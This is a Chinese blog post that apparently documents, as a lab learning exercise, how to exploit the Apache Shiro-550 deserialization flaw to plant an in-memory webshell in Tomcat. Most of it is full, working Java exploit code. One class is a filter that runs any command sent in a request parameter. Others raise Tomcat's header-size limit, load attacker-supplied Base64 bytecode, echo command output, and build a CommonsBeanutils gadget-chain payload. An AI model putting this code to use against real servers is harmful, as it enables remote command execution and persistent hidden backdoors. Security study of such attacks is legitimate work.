• Shiro安全(二):Shiro-550内存马注入


    0x00 漏洞环境

    漏洞环境采用木头师傅给出的

    https://github.com/KpLi0rn/ShiroVulnEnv

    0x01 漏洞利用

    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.catalina.core.StandardContext;
    
    import javax.servlet.*;
    import javax.servlet.http.HttpServletRequest;
    import java.io.IOException;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.util.Map;
    
    public class TomcatMemShellInject extends AbstractTranslet implements Filter{
    
        private final String cmdParamName = "cmd";
        private final static String filterUrlPattern = "/*";
        private final static String filterName = "evilFilter";
    
        static {
            try {
    
                Class c = Class.forName("org.apache.catalina.core.StandardContext");
    
                org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
                StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
    
                ServletContext servletContext = standardContext.getServletContext();
    
                Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
                Configs.setAccessible(true);
                Map filterConfigs = (Map) Configs.get(standardContext);
                if (filterConfigs.get(filterName) == null){
                    java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                        .getDeclaredField("state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                    Filter MemShell = new TomcatMemShellInject();
    
                    javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
                        .addFilter(filterName, MemShell);
                    filterRegistration.setInitParameter("encoding", "utf-8");
                    filterRegistration.setAsyncSupported(false);
                    filterRegistration
                        .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                                  new String[]{filterUrlPattern});
    
                    if (stateField != null) {
                        stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                    }
    
                    if (standardContext != null){
                        Method filterStartMethod = org.apache.catalina.core.StandardContext.class
                            .getMethod("filterStart");
                        filterStartMethod.setAccessible(true);
                        filterStartMethod.invoke(standardContext, null);
    
                        Class ccc = null;
                        try {
                            ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                        } catch (Throwable t){}
                        if (ccc == null) {
                            try {
                                ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                            } catch (Throwable t){}
                        }
    
    
                        Method m = c.getMethod("findFilterMaps");
                        Object[] filterMaps = (Object[]) m.invoke(standardContext);
                        Object[] tmpFilterMaps = new Object[filterMaps.length];
                        int index = 1;
                        for (int i = 0; i < filterMaps.length; i++) {
                            Object o = filterMaps[i];
                            m = ccc.getMethod("getFilterName");
                            String name = (String) m.invoke(o);
                            if (name.equalsIgnoreCase(filterName)) {
                                tmpFilterMaps[0] = o;
                            } else {
                                tmpFilterMaps[index++] = filterMaps[i];
                            }
                        }
                        for (int i = 0; i < filterMaps.length; i++) {
                            filterMaps[i] = tmpFilterMaps[i];
                        }
    
                    }
                }
    
            } catch (Exception e){
                e.printStackTrace();
            }
        }
    
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
    
        }
    
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            System.out.println("Do Filter ......");
            String cmd;
            if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }
    
        @Override
        public void destroy() {
    
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139

    注意这里获取standardContext的方式与之前讲的利用applicationfilterchain中的 lastServicedRequest 和 lastServicedResponse的方式不同

    WebappClassLoader

    文章链接:https://www.cnblogs.com/aspirant/p/8991830.html

    ​ 由于 Tomcat 中有多个 WebApp 同时要确保之间相互隔离,所以 Tomcat 的类加载机制也不是传统的双亲委派机制,如果使用了双亲委派,那么如果存在两个 WebApp 一个是 CommonsCollections 3.2 的版本,另一个是 CommonsCollections 3.1 的版本,由于类加载机制是利用全限定类名来进行加载的,这两个而又是相同的,所以最终导致只会加载其一个版本,这显然不是 Tomcat 想要实现的效果

    ​ Tomcat 隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader,WebappClassLoader 会加载 /WebApp/WEB-INF/*中的Java类库,是各个Webapp私有的类加载器,加载路径中的class只对当前Webapp可见

    说了那么多其实就是我们可以通过 WebappClassLoaderBase 来获取 Tomcat 上下文的联系

    将上面的poc存入到cc11并AES加密后,可以看到生成的payload非常长,这已经超过了Tomcat默认的max header的大小

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6yqSssPb-1659585577499)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220803141944655.png)]

    Header 长度限制绕过

    所以我们需要想一些办法绕过Header的长度限制,现在比较常用的有两种方法:

    • 修改 max size 注入
    • 利用 CloassLoader 加载来绕过长度限制

    修改 max size 注入

    这里我们结合cc11进行注入

    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    @SuppressWarnings("all")
    public class TomcatHeaderSize extends AbstractTranslet {
    
        static {
            try {
                java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
                java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
                java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
                java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
                java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                contextField.setAccessible(true);
                headerSizeField.setAccessible(true);
                serviceField.setAccessible(true);
                requestField.setAccessible(true);
                getHandlerMethod.setAccessible(true);
                org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
                org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
                org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
                org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
                for (int i = 0; i < connectors.length; i++) {
                    if (4 == connectors[i].getScheme().length()) {
                        org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                        if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                            Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                            for (int j = 0; j < classes.length; j++) {
                                // org.apache.coyote.AbstractProtocol$ConnectionHandler
                                if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                                    java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                                    java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                                    globalField.setAccessible(true);
                                    processorsField.setAccessible(true);
                                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                                    java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                                    for (int k = 0; k < list.size(); k++) {
                                        org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                        // 10000 为修改后的 headersize 
                                        headerSizeField.set(tempRequest.getInputBuffer(),10000);
                                    }
                                }
                            }
                            // 10000 为修改后的 headersize 
                            ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                        }
                    }
                }
            } catch (Exception e) {
            }
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66

    思路是改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uIMBlVal-1659585577500)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220803144012334.png)]

    首先生成TomcatHeaderSize的class文件然后利用CC11Template生成payload并用AESEncode进行加密

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Muh4siEj-1659585577501)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220803144147461.png)]

    发送payload,此时已经修改了header的长度限制

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Tmcvzcq1-1659585577501)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220803144343189.png)]

    然后发送动态注册filter的payload,也就是漏洞利用阶段最后生成的payload

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fL723uAt-1659585577501)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220803144514488.png)]

    成功注入

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LKDryhSy-1659585577501)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220803144533231.png)]

    利用 CloassLoader 加载来绕过长度限制

    payload长的一部分原因是动态注册filter代码的缘故,这里采用分离发送的方法。在remeberme中发送一个CloassLoader ,然后在body中发送动态注册filter的类,CloassLoader 来加载body中恶意类从而注入内存

    Shiro 回显与内存马实现 | MYZXCG

    这里先实现一个命令回显,内存马注入我还没成功

    TD类代码实现

    该类中从Acceptor线程中获取request和response对象,获取请求Post body中的字节码base64解码后,加载调用该对象的equals方法(传入获取request和response对象),该类被转换为字节码存入到TemplatesImpl的_bytecodes

    package deserialize;
    
    import java.lang.reflect.Field;
    import java.util.Iterator;
    
    public class TD {
        static {
            Object jioEndPoint = GetAcceptorThread();
            if (jioEndPoint != null) {
                java.util.ArrayList processors = (java.util.ArrayList) getField(getField(getField(jioEndPoint, "handler"), "global"), "processors");
                Iterator iterator = processors.iterator();
                while (iterator.hasNext()) {
                    Object next = iterator.next();
                    Object req = getField(next, "req");
                    Object serverPort = getField(req, "serverPort");
                    if (serverPort.equals(-1)) {
                        continue;
                    }
                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
                    org.apache.catalina.connector.Response response = request.getResponse();
                    String code = request.getParameter("wangdefu");
                    if (code != null) {
                        try {
                            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(code);
                            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                            defineClassMethod.setAccessible(true);
                            Class cc = (Class) defineClassMethod.invoke(TD.class.getClassLoader(), classBytes, 0, classBytes.length);
                            cc.newInstance().equals(new Object[]{request, response});
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                }
            }
        }
    
        public static Object getField(Object object, String fieldName) {
            Field declaredField;
            Class clazz = object.getClass();
            while (clazz != Object.class) {
                try {
    
                    declaredField = clazz.getDeclaredField(fieldName);
                    declaredField.setAccessible(true);
                    return declaredField.get(object);
                } catch (Exception e) {
                }
                clazz = clazz.getSuperclass();
            }
            return null;
        }
    
        public static Object GetAcceptorThread() {
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
            for (Thread thread : threads) {
                if (thread == null || thread.getName().contains("exec")) {
                    continue;
                }
                if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                    Object target = getField(thread, "target");
                    if (!(target instanceof Runnable)) {
                        try {
                            Object target2 = getField(thread, "this$0");
                            target = thread;
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    Object jioEndPoint = getField(target, "this$0");
                    if (jioEndPoint == null) {
                        try {
                            jioEndPoint = getField(target, "endpoint");
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    return jioEndPoint;
                }
            }
            return null;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82

    cmd类

    该类的字节码会被base64编码后,放在body中的wangdefu请求参数中,在TD类中获取该参数并加载

    package deserialize;
    
    import java.io.InputStream;
    import java.util.Scanner;
    
    public class cmd {
        public boolean equals(Object req) {
            Object[] context=(Object[]) req;
            org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];
            org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    response.setContentType("text/html;charset=utf-8");
                    InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\\\a");
                    String output = s.hasNext() ? s.next() : "";
                    response.getWriter().println("----------------------------------");
                    response.getWriter().println(output);
                    response.getWriter().println("----------------------------------");
                    response.getWriter().flush();
                    response.getWriter().close();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            return true;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    run类

    通过CommonsBeanutils利用链加载TD类的字节码

    获取cmd类的字节码,并base64编码输出。

    package deserialize;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.beanutils.BeanComparator;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.PriorityQueue;
    
    public class run {
        public static void main(String[] args) {
            try {
                //获取字节码
                ClassPool pool = ClassPool.getDefault();
                pool.insertClassPath(new ClassClassPath(header_bypass.run.class.getClass()));
                CtClass ctClass = pool.get("header_bypass.TD");
                ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
                byte[] classBytes = ctClass.toBytecode();
    
                CtClass ctClass2 = pool.get("header_bypass.cmd");
                byte[] classBytes2 = ctClass2.toBytecode();
                System.out.println("post请求参数wangdefu:\n" + Base64.getEncoder().encodeToString(classBytes2));
    
                TemplatesImpl templates = TemplatesImpl.class.newInstance();
                setField(templates, "_name", "name");
                setField(templates, "_bytecodes", new byte[][]{classBytes});
                setField(templates, "_tfactory", new TransformerFactoryImpl());
                setField(templates, "_class", null);
    
                BeanComparator beanComparator = new BeanComparator("outputProperties", String.CASE_INSENSITIVE_ORDER);
    
                PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
    
                setField(priorityQueue, "queue", new Object[]{templates, templates});
                setField(priorityQueue, "size", 2);
    
                ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
                outputStream.writeObject(priorityQueue);
                outputStream.close();
    
    //            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
    //            inputStream.readObject();
    //            inputStream.close();
            } catch (Exception e) {
            }
    
        }
    
        public static void setField(Object object, String field, Object args) throws Exception {
            Field f0 = object.getClass().getDeclaredField(field);
            f0.setAccessible(true);
            f0.set(object, args);
    
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61

    直接执行run代码生成body中的值

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pjC7UEVX-1659585577502)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220804105550172.png)]

    此时也生成了CB链的payload(CommonsBeanutils.ser),再执行AESEncode生成加密payload

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ojM6kLbN-1659585577502)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220804105607308.png)]

    burp发送,成功回显

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OQ8PdPTx-1659585577502)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220804105624099.png)]

    0x02 总结

    • 本文内存马注入还是使用了cc11
    • 主要学习到的是两种绕过header头长度限制的方法

    获取standcontext的姿势后面要好好学习一下,这里先放上链接

    Tomcat 架构与Context分析 | MYZXCG

    https://xz.aliyun.com/t/9914#toc-0

    0x03 参考文章

    https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi

    Shiro 回显与内存马实现 | MYZXCG

    https://github.com/feihong-cs/Java-Rce-Echo/tree/master/Tomcat

  • 相关阅读:
    Web APIs Web APIs第二天
    int和Integer的区别
    “拨”取数字的典例:N位水仙花数判断及水仙花数变种
    52.基于SpringBoot + Vue实现的前后端分离-房屋租赁系统(项目 + 论文)
    解锁学习新方式——助您迈向成功之路
    停止员工拖延症!工时管理系统的作用之一
    C++面试八股文:什么是空指针/野指针/悬垂指针?
    【英语:基础高阶_全场景覆盖表达】K6.口语主题陈述——人物类
    Bean的生命周期
    图论:图的相关定义
  • 原文地址:https://blog.csdn.net/weixin_43263451/article/details/126157095